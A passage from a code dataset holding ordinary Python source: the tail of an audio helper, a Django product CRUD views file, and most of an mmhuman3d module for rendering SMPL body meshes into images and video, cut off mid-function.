print(\"[Error] stream closed \" + str(e.args))\n                return 0.0\n        else:\n            return 0.0\n\n\n    def __del__(self):\n        self.close_audio()","repo_name":"kasys1422/Minecraft-Automation-Tools","sub_path":"audio_func.py","file_name":"audio_func.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"22688435867","text":"from django.shortcuts import render, redirect, HttpResponse\nfrom django.core.urlresolvers import reverse\nfrom django.contrib import messages\nfrom .models import Product, Description, Price\n\n# Create your views here.\ndef index(request):\n    context = {\n        'products':Product.objects.all()\n    }\n    return render(request, 'semi_restful_routes/index.html', context)\n\n# shows details for selected item\ndef show(request, id):\n    if request.method == \"GET\":\n        context = {\n            'product':Product.objects.get(id=id)\n        }\n    return render(request, 'semi_restful_routes/show.html', context)\n\n# displays form to define a new product\ndef new(request):\n    return render(request, 'semi_restful_routes/create.html')\n\n# displays form to edit an existing product\ndef edit(request, id):\n    if request.method == \"GET\":\n        context = {\n            'product':Product.objects.get(id=id)\n        }\n    return render(request, 'semi_restful_routes/edit.html', context)\n\n# processes form data to instantiate new product\ndef createProduct(request):\n    if request.method == \"POST\":\n        request.session['name'] = request.POST['name']\n        request.session['description'] = request.POST['description']\n\n        verify = Product.productManager.create(request.POST)\n\n        if verify[0] == False:\n            for alert in verify[1]:\n                messages.add_message(request, messages.INFO, alert)\n            return redirect(reverse('products:new'))\n\n        elif verify[0] == True:\n            request.session.clear()\n            return redirect(reverse('products:index'))\n\n# processes form data to update existing product details\ndef update(request, id):\n    if request.method == \"POST\":\n        verify = Product.productManager.change(request.POST, id)\n\n        if verify[0] == False:\n            # print('validation failed')\n            for alert in verify[1]:\n                messages.add_message(request, messages.INFO, alert)\n            return redirect(reverse('products:edit', kwargs={'id':id}))\n\n        elif verify[0] == True:\n            message = verify[1]\n            messages.add_message(request, messages.INFO, message)\n            return redirect(reverse('products:index'))\n\n# delete an existing product from the database\ndef destroy(request, id):\n    if request.method == \"GET\":\n        context = {\n            'product':Product.objects.get(id=id)\n        }\n        return render(request, 'semi_restful_routes/delete.html', context)\n\n    elif request.method == \"POST\":\n        Product.objects.get(id=id).delete()\n        return redirect(reverse('products:index'))\n","repo_name":"KyleSeem/DeploymentDemo1","sub_path":"apps/semi_restful_routes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9665451797","text":"# yapf: disable\nimport copy\nimport glob\nimport os\nimport os.path as osp\nimport shutil\nimport warnings\nfrom functools import partial\nfrom pathlib import Path\nfrom typing import List, Optional, Tuple, Union\n\nimport mmcv\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom colormap import Color\n\nfrom mmhuman3d.core.cameras import (\n    WeakPerspectiveCameras,\n    compute_orbit_cameras,\n)\nfrom mmhuman3d.core.cameras.builder import build_cameras\nfrom mmhuman3d.core.conventions.cameras.convert_convention import \\\n    convert_camera_matrix  # prevent yapf isort conflict\nfrom mmhuman3d.core.conventions.segmentation import body_segmentation\nfrom mmhuman3d.core.renderer.torch3d_renderer import render_runner\nfrom mmhuman3d.core.renderer.torch3d_renderer.meshes import \\\n    ParametricMeshes  # noqa: E501\nfrom mmhuman3d.core.renderer.torch3d_renderer.render_smpl_config import (\n    RENDER_CONFIGS,\n)\nfrom mmhuman3d.core.renderer.torch3d_renderer.smpl_renderer import SMPLRenderer\nfrom mmhuman3d.core.renderer.torch3d_renderer.utils import \\\n    align_input_to_padded  # noqa: E501\nfrom mmhuman3d.models.body_models.builder import build_body_model\nfrom mmhuman3d.utils.demo_utils import (\n    convert_bbox_to_intrinsic,\n    convert_crop_cam_to_orig_img,\n    convert_kp2d_to_bbox,\n    get_default_hmr_intrinsic,\n    get_different_colors,\n)\nfrom mmhuman3d.utils.ffmpeg_utils import (\n    check_input_path,\n    images_to_array,\n    prepare_output_path,\n    vid_info_reader,\n    video_to_array,\n    video_to_images,\n)\nfrom mmhuman3d.utils.mesh_utils import save_meshes_as_objs, save_meshes_as_plys\nfrom mmhuman3d.utils.path_utils import check_path_suffix\n\n# yapf: enable\n\ntry:\n    from typing import Literal\nexcept ImportError:\n    from typing_extensions import Literal\n\n\ndef _prepare_background(image_array, frame_list, origin_frames, output_path,\n                        start, end, img_format, overwrite, num_frames,\n                        read_frames_batch):\n    \"\"\"Compare among `image_array`, `frame_list` and `origin_frames` and decide\n    whether to save the temp background images.\"\"\"\n    if num_frames > 300:\n        read_frames_batch = True\n\n    frames_folder = None\n    remove_folder = False\n\n    if isinstance(image_array, np.ndarray):\n\n        image_array = torch.Tensor(image_array)\n\n    if image_array is not None:\n        if image_array.ndim == 3:\n            image_array = image_array[None]\n        if image_array.shape[0] == 1:\n            image_array = image_array.repeat(num_frames, 1, 1, 1)\n        frame_list = None\n        origin_frames = None\n        image_array = image_array[start:end]\n\n    # check the output path and get the image_array\n    if output_path is not None:\n        prepare_output_path(\n            output_path=output_path,\n            allowed_suffix=['.mp4', 'gif', ''],\n            tag='output video',\n            path_type='auto',\n            overwrite=overwrite)\n        if image_array is None:\n            # choose in frame_list or origin_frames\n            # if all None, will use pure white background\n            if frame_list is None and origin_frames is None:\n                print(\n                    'No background provided, will use pure white background.')\n            elif frame_list is not None and origin_frames is not None:\n                warnings.warn('Redundant input, will only use frame_list.')\n                origin_frames = None\n\n            # read the origin frames as array if any.\n            if frame_list is None and origin_frames is not None:\n                check_input_path(\n                    input_path=origin_frames,\n                    allowed_suffix=['.mp4', '.gif', ''],\n                    tag='origin frames',\n                    path_type='auto')\n                # if origin_frames is a video, write it as a folder of images\n                # if read_frames_batch is True, else read directly as an array.\n                if Path(origin_frames).is_file():\n                    if read_frames_batch:\n                        frames_folder = osp.join(\n                            Path(output_path).parent,\n                            Path(output_path).name + '_input_temp')\n                        os.makedirs(frames_folder, exist_ok=True)\n                        video_to_images(\n                            origin_frames,\n                            frames_folder,\n                            img_format=img_format,\n                            start=start,\n                            end=end)\n                        remove_folder = True\n                    else:\n                        remove_folder = False\n                        frames_folder = None\n                        image_array = video_to_array(\n                            origin_frames, start=start, end=end)\n                # if origin_frames is a folder, write it as a folder of images\n                # read the folder as an array if read_frames_batch is True\n                # else return frames_folder for reading during rendering.\n                else:\n                    if read_frames_batch:\n                        frames_folder = origin_frames\n                        remove_folder = False\n                        image_array = None\n                    else:\n                        image_array = images_to_array(\n                            origin_frames,\n                            img_format=img_format,\n                            start=start,\n                            end=end)\n                        remove_folder = False\n                        frames_folder = origin_frames\n            # if frame_list is not None, move the images into a folder\n            # read the folder as an array if read_frames_batch is True\n            # else return frames_folder for reading during rendering.\n            elif frame_list is not None and origin_frames is None:\n                frames_folder = osp.join(\n                    Path(output_path).parent,\n                    Path(output_path).name + '_input_temp')\n                os.makedirs(frames_folder, exist_ok=True)\n                for frame_idx, frame_path in enumerate(frame_list):\n                    if check_path_suffix(\n                            path_str=frame_path,\n                            allowed_suffix=['.jpg', '.png', '.jpeg']):\n                        shutil.copy(\n                            frame_path,\n                            os.path.join(frames_folder,\n                                         '%06d.png' % frame_idx))\n                        img_format = '%06d.png'\n                if not read_frames_batch:\n\n                    image_array = images_to_array(\n                        frames_folder,\n                        img_format=img_format,\n                        remove_raw_files=True)\n                    frames_folder = None\n                    remove_folder = False\n                else:\n                    image_array = None\n                    remove_folder = True\n    return image_array, remove_folder, frames_folder\n\n\ndef _prepare_body_model(body_model, body_model_config):\n    \"\"\"Prepare `body_model` from `body_model_config` or existing\n    `body_model`.\"\"\"\n    if body_model is None:\n        if body_model_config is not None:\n            body_model_config = copy.deepcopy(body_model_config)\n            model_path = body_model_config.get('model_path', None)\n\n            model_type = body_model_config.get('type').lower()\n            if model_type not in ['smpl', 'smplx', 'star']:\n                raise ValueError(f'Do not support {model_type}, please choose'\n                                 f' in `smpl`, `smplx` or `star`.')\n\n            if model_path and osp.isdir(model_path):\n                model_path = osp.join(model_path, model_type)\n                body_model_config.update(model_path=model_path)\n                body_model = build_body_model(body_model_config)\n                assert os.path.isdir(model_path)\n            else:\n                raise FileNotFoundError('Wrong model_path.'\n                                        ' File or directory does not exist.')\n        else:\n            raise ValueError('Please input body_model_config.')\n    else:\n        if body_model_config is not None:\n            warnings.warn('Redundant input, will take body_model directly'\n                          'and ignore body_model_config.')\n    return body_model\n\n\ndef _prepare_input_pose(verts, poses, betas, transl):\n    \"\"\"Prepare input pose data as tensor and ensure correct temporal slice.\"\"\"\n    if verts is None and poses is None:\n        raise ValueError('Please input valid poses or verts.')\n    elif (verts is not None) and (poses is not None):\n        warnings.warn('Redundant input, will take verts and ignore poses & '\n                      'betas & transl.')\n        poses = None\n        transl = None\n        betas = None\n    elif isinstance(poses, dict):\n        transl = poses.get('transl', transl)\n        betas = poses.get('betas', betas)\n\n    if isinstance(verts, np.ndarray):\n        verts = torch.Tensor(verts)\n        num_frames = verts.shape[0]\n    elif isinstance(verts, torch.Tensor):\n        num_frames = verts.shape[0]\n\n    if isinstance(poses, np.ndarray):\n        poses = torch.Tensor(poses)\n        num_frames = poses.shape[0]\n    elif isinstance(poses, torch.Tensor):\n        num_frames = poses.shape[0]\n    elif isinstance(poses, dict):\n        for k, v in poses.items():\n            if isinstance(v, np.ndarray):\n                poses[k] = torch.tensor(v)\n        num_frames = poses['body_pose'].shape[0]\n\n    if isinstance(betas, np.ndarray):\n        betas = torch.Tensor(betas)\n\n    if betas is not None:\n        if betas.shape[0] != num_frames:\n            times = num_frames // betas.shape[0]\n            if betas.ndim == 2:\n                betas = betas.repeat(times, 1)[:num_frames]\n            elif betas.ndim == 3:\n                betas = betas.repeat(times, 1, 1)[:num_frames]\n            print(f'betas will be repeated by dim 0 for {times} times.')\n    if isinstance(transl, np.ndarray):\n        transl = torch.Tensor(transl)\n\n    return verts, poses, betas, transl\n\n\ndef _prepare_mesh(poses, betas, transl, verts, start, end, body_model):\n    \"\"\"Prepare the mesh info for rendering.\"\"\"\n    NUM_JOINTS = body_model.NUM_JOINTS\n    NUM_BODY_JOINTS = body_model.NUM_BODY_JOINTS\n    NUM_DIM = 3 * (NUM_JOINTS + 1)\n    body_pose_keys = body_model.body_pose_keys\n    joints = None\n    if poses is not None:\n        if isinstance(poses, dict):\n            if not body_pose_keys.issubset(poses):\n                raise KeyError(\n                    f'{str(poses.keys())}, Please make sure that your '\n                    f'input dict has all of {\", \".join(body_pose_keys)}')\n            num_frames = poses['body_pose'].shape[0]\n            _, num_person, _ = poses['body_pose'].view(\n                num_frames, -1, NUM_BODY_JOINTS * 3).shape\n\n            full_pose = body_model.dict2tensor(poses)\n            full_pose = full_pose[start:end]\n\n        elif isinstance(poses, torch.Tensor):\n            if poses.shape[-1] != NUM_DIM:\n                raise ValueError(\n                    f'Please make sure your poses is {NUM_DIM} dims in'\n                    f'the last axis. Your input shape: {poses.shape}')\n            poses = poses.view(poses.shape[0], -1, (NUM_JOINTS + 1) * 3)\n            num_frames, num_person, _ = poses.shape\n            full_pose = poses[start:end]\n        else:\n            raise ValueError('Wrong pose type, should be `dict` or `tensor`.')\n\n        # multi person check\n        if num_person > 1:\n            if betas is not None:\n                num_betas = betas.shape[-1]\n                betas = betas.view(num_frames, -1, num_betas)\n\n                if betas.shape[1] == 1:\n                    betas = betas.repeat(1, num_person, 1)\n                    warnings.warn(\n                        'Only one betas for multi-person, will all be the '\n                        'same body shape.')\n                elif betas.shape[1] > num_person:\n                    betas = betas[:, :num_person]\n                    warnings.warn(\n                        f'Betas shape exceed, will be sliced as {betas.shape}.'\n                    )\n                elif betas.shape[1] == num_person:\n                    pass\n                else:\n                    raise ValueError(\n                        f'Odd betas shape: {betas.shape}, inconsistent'\n                        f'with poses in num_person: {poses.shape}.')\n            else:\n                warnings.warn('None betas for multi-person, will all be the '\n                              'default body shape.')\n\n            if transl is not None:\n                transl = transl.view(poses.shape[0], -1, 3)\n                if transl.shape[1] == 1:\n                    transl = transl.repeat(1, num_person, 1)\n                    warnings.warn(\n                        'Only one transl for multi-person, will all be the '\n                        'same translation.')\n                elif transl.shape[1] > num_person:\n                    transl = transl[:, :num_person]\n                    warnings.warn(f'Transl shape exceed, will be sliced as'\n                                  f'{transl.shape}.')\n                elif transl.shape[1] == num_person:\n                    pass\n                else:\n                    raise ValueError(\n                        f'Odd transl shape: {transl.shape}, inconsistent'\n                        f'with poses in num_person: {poses.shape}.')\n            else:\n                warnings.warn('None transl for multi-person, will all be the '\n                              'default translation.')\n\n        # slice the input poses, betas, and transl.\n        betas = betas[start:end] if betas is not None else None\n        transl = transl[start:end] if transl is not None else None\n        pose_dict = body_model.tensor2dict(\n            full_pose=full_pose, betas=betas, transl=transl)\n\n        # get new num_frames\n        num_frames = full_pose.shape[0]\n\n        model_output = body_model(**pose_dict)\n        vertices = model_output['vertices']\n        joints = model_output['joints']\n\n    elif verts is not None:\n        if isinstance(verts, np.ndarray):\n            verts = torch.Tensor(verts)\n        verts = verts[start:end]\n        pose_dict = body_model.tensor2dict(\n            torch.zeros(1, (NUM_JOINTS + 1) * 3))\n\n        if verts.ndim == 3:\n            joints = torch.einsum('bik,ji->bjk',\n                                  [verts, body_model.J_regressor])\n        elif verts.ndim == 4:\n            joints = torch.einsum('fpik,ji->fpjk',\n                                  [verts, body_model.J_regressor])\n        num_verts = body_model.NUM_VERTS\n        assert verts.shape[-2] == num_verts, 'Wrong input verts shape.'\n        num_frames = verts.shape[0]\n        vertices = verts.view(num_frames, -1, num_verts, 3)\n        num_joints = joints.shape[-2]\n        joints = joints.view(num_frames, -1, num_joints, 3)\n        num_person = vertices.shape[1]\n    else:\n        raise ValueError('Poses and verts are all None.')\n    return vertices, joints, num_frames, num_person\n\n\ndef _prepare_colors(palette, render_choice, num_person, num_verts, model_type):\n    \"\"\"Prepare the `color` as a tensor of shape (num_person, num_verts, 3)\n    according to `palette`.\n\n    This is to make the identity in video clear.\n    \"\"\"\n    if not len(palette) == num_person:\n        raise ValueError('Please give the right number of palette.')\n    body_segger = body_segmentation(model_type)\n\n    if render_choice == 'silhouette':\n        colors = torch.ones(num_person, num_verts, 3)\n    elif render_choice == 'part_silhouette':\n        colors = torch.zeros(num_person, num_verts, 3)\n        for i, k in enumerate(body_segger.keys()):\n            colors[:, body_segger[k]] = i + 1\n    else:\n        if isinstance(palette, torch.Tensor):\n            if palette.max() > 1:\n                palette = palette / 255.0\n            palette = torch.clip(palette, min=0, max=1)\n            colors = palette.view(num_person,\n                                  3).unsqueeze(1).repeat(1, num_verts, 1)\n\n        elif isinstance(palette, list):\n            colors = []\n            for person_idx in range(num_person):\n\n                if palette[person_idx] == 'random':\n                    color_person = get_different_colors(\n                        num_person, int_dtype=False)[person_idx]\n                    color_person = torch.FloatTensor(color_person)\n                    color_person = torch.clip(\n                        color_person * 1.5, min=0.6, max=1)\n                    color_person = color_person.view(1, 1, 3).repeat(\n                        1, num_verts, 1)\n                elif palette[person_idx] == 'segmentation':\n                    verts_labels = torch.zeros(num_verts)\n                    color_person = torch.ones(1, num_verts, 3)\n                    color_part = get_different_colors(\n                        len(body_segger), int_dtype=False)\n                    for part_idx, k in enumerate(body_segger.keys()):\n                        index = body_segger[k]\n                        verts_labels[index] = part_idx\n                        color_person[:, index] = torch.FloatTensor(\n                            color_part[part_idx])\n                elif palette[person_idx] in Color.color_names:\n                    color_person = torch.FloatTensor(\n                        Color(palette[person_idx]).rgb).view(1, 1, 3).repeat(\n                            1, num_verts, 1)\n                else:\n                    raise ValueError('Wrong palette string. '\n                                     'Please choose in the pre-defined range.')\n                colors.append(color_person)\n            colors = torch.cat(colors, 0)\n            assert colors.shape == (num_person, num_verts, 3)\n            # the color passed to renderer will be (num_person, num_verts, 3)\n        else:\n            raise ValueError(\n                'Palette should be tensor, array or list of strs.')\n    return colors\n\n\ndef render_smpl(\n        # smpl parameters\n        poses: Optional[Union[torch.Tensor, np.ndarray, dict]] = None,\n        betas: Optional[Union[torch.Tensor, np.ndarray]] = None,\n        transl: Optional[Union[torch.Tensor, np.ndarray]] = None,\n        verts: Optional[Union[torch.Tensor, np.ndarray]] = None,\n        body_model: Optional[nn.Module] = None,\n        body_model_config: Optional[dict] = None,\n        # camera parameters\n        R: Optional[Union[torch.Tensor, np.ndarray]] = None,\n        T: Optional[Union[torch.Tensor, np.ndarray]] = None,\n        K: Optional[Union[torch.Tensor, np.ndarray]] = None,\n        orig_cam: Optional[Union[torch.Tensor, np.ndarray]] = None,\n        Ks: Optional[Union[torch.Tensor, np.ndarray]] = None,\n        in_ndc: bool = True,\n        convention: str = 'pytorch3d',\n        projection: Literal['weakperspective', 'perspective', 'fovperspective',\n                            'orthographics',\n                            'fovorthographics'] = 'perspective',\n        orbit_speed: Union[float, Tuple[float, float]] = 0.0,\n        # render choice parameters\n        render_choice: Literal['lq', 'mq', 'hq', 'silhouette', 'depth',\n                               'normal', 'pointcloud',\n                               'part_silhouette'] = 'hq',\n        palette: Union[List[str], str, np.ndarray, torch.Tensor] = 'white',\n        texture_image: Union[torch.Tensor, np.ndarray] = None,\n        resolution: Optional[Union[List[int], Tuple[int, int]]] = None,\n        start: int = 0,\n        end: Optional[int] = None,\n        alpha: float = 1.0,\n        no_grad: bool = True,\n        batch_size: int = 10,\n        device: Union[torch.device, str] = 'cuda',\n        # file io parameters\n        return_tensor: bool = False,\n        output_path: str = None,\n        origin_frames: Optional[str] = None,\n        frame_list: Optional[List[str]] = None,\n        image_array: Optional[Union[np.ndarray, torch.Tensor]] = None,\n        img_format: str = '%06d.png',\n        overwrite: bool = False,\n        mesh_file_path: Optional[str] = None,\n        read_frames_batch: bool = False,\n        # visualize keypoints\n        plot_kps: bool = False,\n        kp3d: Optional[Union[np.ndarray, torch.Tensor]] = None,\n        mask: Optional[Union[np.ndarray, List[int]]] = None,\n        vis_kp_index: bool = False,\n        verbose: bool = False) -> Union[None, torch.Tensor]:\n    \"\"\"Render SMPL, SMPL-X or STAR mesh or silhouette into differentiable\n    tensors, and export video or images.\n\n    Args:\n        # smpl parameters:\n        poses (Union[torch.Tensor, np.ndarray, dict]):\n\n            1). `tensor` or `array` and ndim is 2, shape should be\n            (frame, 72).\n\n            2). `tensor` or `array` and ndim is 3, shape should be\n            (frame, num_person, 72/165). num_person equals 1 means\n            single-person.\n            Rendering predicted multi-person should feed together with\n            multi-person weakperspective cameras. meshes would be computed\n            and use an identity intrinsic matrix.\n\n            3). `dict`, standard dict format defined in smplx.body_models.\n            will be treated as single-person.\n\n            Lower priority than `verts`.\n\n            Defaults to None.\n        betas (Optional[Union[torch.Tensor, np.ndarray]], optional):\n            1). ndim is 2, shape should be (frame, 10).\n\n            2). ndim is 3, shape should be (frame, num_person, 10). num_person\n            equals 1 means single-person. If poses are multi-person, betas\n            should be set to the same person number.\n\n            None will use default betas.\n\n            Defaults to None.\n        transl (Optional[Union[torch.Tensor, np.ndarray]], optional):\n            translations of smpl(x).\n\n            1). ndim is 2, shape should be (frame, 3).\n\n            2). ndim is 3, shape should be (frame, num_person, 3). num_person\n            equals 1 means single-person. If poses are multi-person,\n            transl should be set to the same person number.\n\n            Defaults to None.\n        verts (Optional[Union[torch.Tensor, np.ndarray]], optional):\n            1). ndim is 3, shape should be (frame, num_verts, 3).\n\n            2). ndim is 4, shape should be (frame, num_person, num_verts, 3).\n            num_person equals 1 means single-person.\n\n            Higher priority over `poses` & `betas` & `transl`.\n\n            Defaults to None.\n        body_model (nn.Module, optional): body_model created from smplx.create.\n            Higher priority than `body_model_config`. If `body_model` is not\n            None, it will override `body_model_config`.\n            Should not both be None.\n\n            Defaults to None.\n        body_model_config (dict, optional): body_model_config for build_model.\n            Lower priority than `body_model`. Should not both be None.\n            Defaults to None.\n\n        # camera parameters:\n\n        K (Optional[Union[torch.Tensor, np.ndarray]], optional):\n            shape should be (frame, 4, 4) or (frame, 3, 3), frame could be 1.\n            if (4, 4) or (3, 3), dim 0 will be added automatically.\n            Will be default `FovPerspectiveCameras` intrinsic if None.\n            Lower priority than `orig_cam`.\n        R (Optional[Union[torch.Tensor, np.ndarray]], optional):\n            shape should be (frame, 3, 3), If f equals 1, camera will have\n            identical rotation.\n            If `K` and `orig_cam` is None, will be generated by `look_at_view`.\n            If have `K` or `orig_cam` and `R` is None, will be generated by\n            `convert_camera_matrix`.\n\n            Defaults to None.\n        T (Optional[Union[torch.Tensor, np.ndarray]], optional):\n            shape should be (frame, 3). If f equals 1, camera will have\n            identical translation.\n            If `K` and `orig_cam` is None, will be generated by `look_at_view`.\n            If have `K` or `orig_cam` and `T` is None, will be generated by\n            `convert_camera_matrix`.\n\n            Defaults to None.\n        orig_cam (Optional[Union[torch.Tensor, np.ndarray]], optional):\n            shape should be (frame, 4) or (frame, num_person, 4). If f equals\n            1, will be repeated to num_frames. num_person should be 1 if single\n            person. Usually for HMR, VIBE predicted cameras.\n            Higher priority than `K` & `R` & `T`.\n\n            Defaults to None.\n        Ks (Optional[Union[torch.Tensor, np.ndarray]], optional):\n            shape should be (frame, 4, 4).\n            This is for HMR or SPIN multi-person demo.\n        in_ndc (bool, optional): . Defaults to True.\n        convention (str, optional): If want to  use an existing convention,\n            choose in ['opengl', 'opencv', 'pytorch3d', 'pyrender', 'open3d',\n            'maya', 'blender', 'unity'].\n            If want to use a new convention, define your convention in\n            (CAMERA_CONVENTION_FACTORY)[mmhuman3d/core/conventions/cameras/\n            __init__.py] by the order of right, front and up.\n\n            Defaults to 'pytorch3d'.\n        projection (Literal[, optional): projection mode of camers. Choose in\n            ['orthographics, fovperspective', 'perspective', 'weakperspective',\n            'fovorthographics']\n            Defaults to 'perspective'.\n        orbit_speed (float, optional): orbit speed for viewing when no `K`\n            provided. `float` for only azim speed and Tuple for `azim` and\n            `elev`.\n\n        # render choice parameters:\n\n        render_choice (Literal[, optional):\n            choose in ['lq', 'mq', 'hq', 'silhouette', 'depth', 'normal',\n            'pointcloud', 'part_silhouette'] .\n\n            `lq`, `mq`, `hq` would output (frame, h, w, 4) FloatTensor.\n\n            `lq` means low quality, `mq` means medium quality,\n            h`q means high quality.\n\n            `silhouette` would output (frame, h, w) soft binary FloatTensor.\n\n            `part_silhouette` would output (frame, h, w, 1) LongTensor.\n\n            Every pixel stores a class index.\n\n            `depth` will output a depth map of (frame, h, w, 1) FloatTensor\n            and 'normal' will output a normal map of (frame, h, w, 1).\n\n            `pointcloud` will output a (frame, h, w, 4) FloatTensor.\n\n            Defaults to 'mq'.\n        palette (Union[List[str], str, np.ndarray], optional):\n            color theme str or list of color str or `array`.\n\n            1). If use str to represent the color,\n            should choose in ['segmentation', 'random'] or color from\n            Colormap https://en.wikipedia.org/wiki/X11_color_names.\n            If choose 'segmentation', will get a color for each part.\n\n            2). If you have multi-person, better give a list of str or all\n            will be in the same color.\n\n            3). If you want to define your specific color, use an `array`\n            of shape (3,) for single person and (N, 3) for multiple persons.\n\n            If (3,) for multiple persons, all will be in the same color.\n\n            Your `array` should be in range [0, 255] for 8 bit color.\n\n            Defaults to 'white'.\n\n        texture_image (Union[torch.Tensor, np.ndarray], optional):\n            Texture image to be wrapped on the smpl mesh. If not None,\n            the `palette` will be ignored, and the `body_model` is required\n            to have `uv_param_path`.\n            Should pass list or tensor of shape (num_person, H, W, 3).\n            The color channel should be `RGB`.\n\n            Defaults to None.\n\n        resolution (Union[Iterable[int], int], optional):\n            1). If iterable, should be (height, width) of output images.\n\n            2). If int, would be taken as (resolution, resolution).\n\n            Defaults to (1024, 1024).\n\n            This will influence the overlay results when render with\n            backgrounds. The output video will be rendered following the\n            size of background images and finally resized to resolution.\n        start (int, optional): start frame index. Defaults to 0.\n\n        end (int, optional): end frame index. Exclusive.\n                Could be positive int or negative int or None.\n                None represents include all the frames.\n\n            Defaults to None.\n        alpha (float, optional): Transparency of the mesh.\n            Range in [0.0, 1.0]\n\n            Defaults to 1.0.\n        no_grad (bool, optional): Set to True if do not need differentiable\n            render.\n\n            Defaults to False.\n        batch_size (int, optional):  Batch size for render.\n            Related to your gpu memory.\n\n            Defaults to 10.\n        # file io parameters:\n\n        return_tensor (bool, optional): Whether return the result tensors.\n\n            Defaults to False, will return None.\n        output_path (str, optional): output video or gif or image folder.\n\n            Defaults to None, pass export procedure.\n\n        # background frames, priority: image_array > frame_list > origin_frames\n\n        origin_frames (Optional[str], optional): origin background frame path,\n            could be `.mp4`, `.gif`(will be sliced into a folder) or an image\n            folder.\n\n            Defaults to None.\n        frame_list (Optional[List[str]], optional): list of origin background\n            frame paths, element in list each should be a image path like\n            `*.jpg` or `*.png`.\n            Use this when your file names is hard to sort or you only want to\n            render a small number frames.\n\n            Defaults to None.\n        image_array: (Optional[Union[np.ndarray, torch.Tensor]], optional):\n            origin background frame `tensor` or `array`, use this when you\n            want your frames in memory as array or tensor.\n        overwrite (bool, optional): whether overwriting the existing files.\n\n            Defaults to False.\n        mesh_file_path (bool, optional): the directory path to store the `.ply`\n            or '.ply' files. Will be named like 'frame_idx_person_idx.ply'.\n\n            Defaults to None.\n        read_frames_batch (bool, optional): Whether read frames by batch.\n            Set it as True if your video is large in size.\n\n            Defaults to False.\n\n        # visualize keypoints\n        plot_kps (bool, optional): whether plot keypoints on the output video.\n\n            Defaults to False.\n        kp3d (Optional[Union[np.ndarray, torch.Tensor]], optional):\n            the keypoints of any convention, should pass `mask` if have any\n            none-sense points. Shape should be (frame, )\n\n            Defaults to None.\n        mask (Optional[Union[np.ndarray, List[int]]], optional):\n            Mask of keypoints existence.\n\n            Defaults to None.\n        vis_kp_index (bool, optional):\n            Whether plot keypoint index number on human mesh.\n\n            Defaults to False.\n        # visualize render progress\n        verbose (bool, optional):\n            Whether print the progress bar for rendering.\n    Returns:\n        Union[None, torch.Tensor]: return the rendered image tensors or None.\n    \"\"\"\n    # initialize the device\n    device = torch.device(device) if isinstance(device, str) else device\n\n    if isinstance(resolution, int):\n        resolution = (resolution, resolution)\n    elif isinstance(resolution, list):\n        resolution = tuple(resolution)\n\n    verts, poses, betas, transl = _prepare_input_pose(verts, poses, betas,\n                                                      transl)\n\n    body_model = _prepare_body_model(body_model, body_model_config)\n    model_type = body_model.name().replace('-', '').lower()\n    assert model_type in ['smpl', 'smplx', 'star']\n\n    if model_type in ['smpl', 'smplx']:\n        vertices, joints, num_frames, num_person = _prepare_mesh(\n            poses, betas, transl, verts, start, end, body_model)\n    elif model_type == 'star':\n        model_output = body_model(body_pose=poses, betas=betas, transl=transl)\n        vertices = model_output['vertices']\n        num_frames = poses.shape[0]\n        num_person = 1  # star temporarily only support single person\n    end = num_frames if end is None else end\n    vertices = vertices.view(num_frames, num_person, -1, 3)\n    num_verts = vertices.shape[-2]\n\n    if not plot_kps:\n        joints = None\n        if kp3d is not None:\n            warnings.warn('`plot_kps` is False, `kp3d` will be set as None.')\n            kp3d = None\n\n    image_array, remove_folder, frames_folder = _prepare_background(\n        image_array, frame_list, origin_frames, output_path, start, end,\n        img_format, overwrite, num_frames, read_frames_batch)\n\n    render_resolution = None\n    if image_array is not None:\n        render_resolution = (image_array.shape[1], image_array.shape[2])\n    elif frames_folder is not None:\n        frame_path_list = glob.glob(osp.join(\n            frames_folder, '*.jpg')) + glob.glob(\n                osp.join(frames_folder, '*.png')) + glob.glob(\n                    osp.join(frames_folder, '*.jpeg'))\n        vid_info = vid_info_reader(frame_path_list[0])\n        render_resolution = (int(vid_info['height']), int(vid_info['width']))\n    if resolution is not None:\n        if render_resolution is not None:\n            if render_resolution != resolution:\n                warnings.warn(\n                    f'Size of background: {render_resolution} !='\n                    f' resolution: {resolution}, the output video will be '\n                    f'resized as {resolution}')\n            final_resolution = resolution\n        elif render_resolution is None:\n            render_resolution = final_resolution = resolution\n    elif resolution is None:\n        if render_resolution is None:\n            render_resolution = final_resolution = (1024, 1024)\n        elif render_resolution is not None:\n            final_resolution = render_resolution\n\n    if isinstance(kp3d, np.ndarray):\n        kp3d = torch.Tensor(kp3d)\n\n    if kp3d is not None:\n        if mask is not None:\n            map_index = np.where(np.array(mask) != 0)[0]\n            kp3d = kp3d[map_index.tolist()]\n        kp3d = kp3d[start:end]\n        kp3d = kp3d.view(num_frames, -1, 3)\n\n    # prepare render_param_dict\n    render_param_dict = copy.deepcopy(RENDER_CONFIGS[render_choice.lower()])\n    if model_type == 'smpl':\n        render_param_dict.update(num_class=24)\n    elif model_type == 'smplx':\n        render_param_dict.update(num_class=27)\n\n    if render_choice not in [\n            'hq', 'mq', 'lq', 'silhouette', 'part_silhouette', 'depth',\n            'pointcloud', 'normal'\n    ]:\n        raise ValueError('Please choose the right render_choice.')\n\n    # body part colorful visualization should use flat shader to be sharper.\n    if texture_image is None:\n        if isinstance(palette, str):\n            palette = [palette] * num_person\n        elif isinstance(palette, np.ndarray):\n            palette = torch.Tensor(palette)\n            palette = palette.view(-1, 3)\n            if palette.shape[0] != num_person:\n                _times = num_person // palette.shape[0]\n                palette = palette.repeat(_times, 1)[:num_person]\n                if palette.shape[0] == 1:\n                    print(f'Same color for all the {num_person} people')\n                else:\n                    print('Repeat palette for multi-person.')\n        else:\n            raise ValueError('Wrong input palette type. '\n                             'Palette should be tensor, array or list of strs')\n        colors_all = _prepare_colors(palette, render_choice, num_person,\n                                     num_verts, model_type)\n        colors_all = colors_all.view(-1, num_person * num_verts, 3)\n    # verts of ParametricMeshes should be in (N, V, 3)\n    vertices = vertices.view(num_frames, -1, 3)\n    meshes = ParametricMeshes(\n        body_model=body_model,\n        verts=vertices,\n        N_individual_overdide=num_person,\n        model_type=model_type,\n        texture_image=texture_image,\n        use_nearest=bool(render_choice == 'part_silhouette'),\n        vertex_color=colors_all)\n\n    # write .ply or .obj files\n    if mesh_file_path is not None:\n        mmcv.mkdir_or_exist(mesh_file_path)\n\n        for person_idx in 